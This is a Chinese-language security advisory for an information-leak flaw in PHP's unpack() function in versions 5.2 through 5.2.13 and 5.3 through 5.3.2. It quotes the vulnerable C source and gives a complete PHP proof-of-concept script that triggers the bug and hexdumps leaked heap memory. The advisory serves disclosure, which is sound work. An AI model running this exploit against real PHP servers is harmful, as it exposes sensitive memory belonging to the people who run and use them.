PHP unpack()中断内存破坏漏洞

漏洞起因
设计错误
危险等级

 
影响系统
PHP 5.2 <= 5.2.13
PHP 5.3 <= 5.3.2
 
不受影响系统
 
危害
远程攻击者可以利用漏洞泄漏内存敏感信息。
 
攻击所需条件
攻击者必须访问使用PHP upack()函数的应用程序。
 
漏洞信息
PHP是一款流行的网络编程语言。
PHP unpack()存在用户空间中断泄漏信息漏洞:
PHP_FUNCTION(unpack)
{
    char *format, *input, *formatarg, *inputarg;
    int formatlen, formatarg_len, inputarg_len;
    int inputpos, inputlen, i;
    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &formatarg, &formatarg_len,
        &inputarg, &inputarg_len) == FAILURE) {
        return;
    }
    format = formatarg;
    formatlen = formatarg_len;
    input = inputarg;
   
函数开始时读取两个用户提供的参数到本地变量,然后解析提供的格式字符串,由于PHP的调用时通过引用传递功能,函数中部允许使用其他变量类型替代输入字符串,允许泄漏哈希表内存。可通过提供无效的定位命令来触发中断:
case ‘@’:
    if (arg <= inputlen) {
        inputpos = arg;
    } else {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: outside of string", type);
    }
    i = arg – 1;    /* Done, break out of for loop */
    break;
   
错误处理器然后会更改第二个参数的内容。
 
测试方法
<?php
function my_error()
{
    parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
    return 1;
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $l = 39;       
} else {
    $l = 67;
}
$GLOBALS[‘var’] = str_repeat("A", $l);
/* Trigger the Code */
set_error_handler("my_error");
$x = unpack("@31337/@0/A$l", &$GLOBALS[‘var’]);
restore_error_handler();
hexdump($x[1]);
/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;
    echo "Hexdump\n";
    echo "——-\n";
    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "– "; }
    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
    }
    echo "\n";
}
?>
 
厂商解决方案
目前没有详细解决方案提供:
http://www.php.net
 
漏洞提供者
Stefan Esser

发表评论?

0 条评论。

发表评论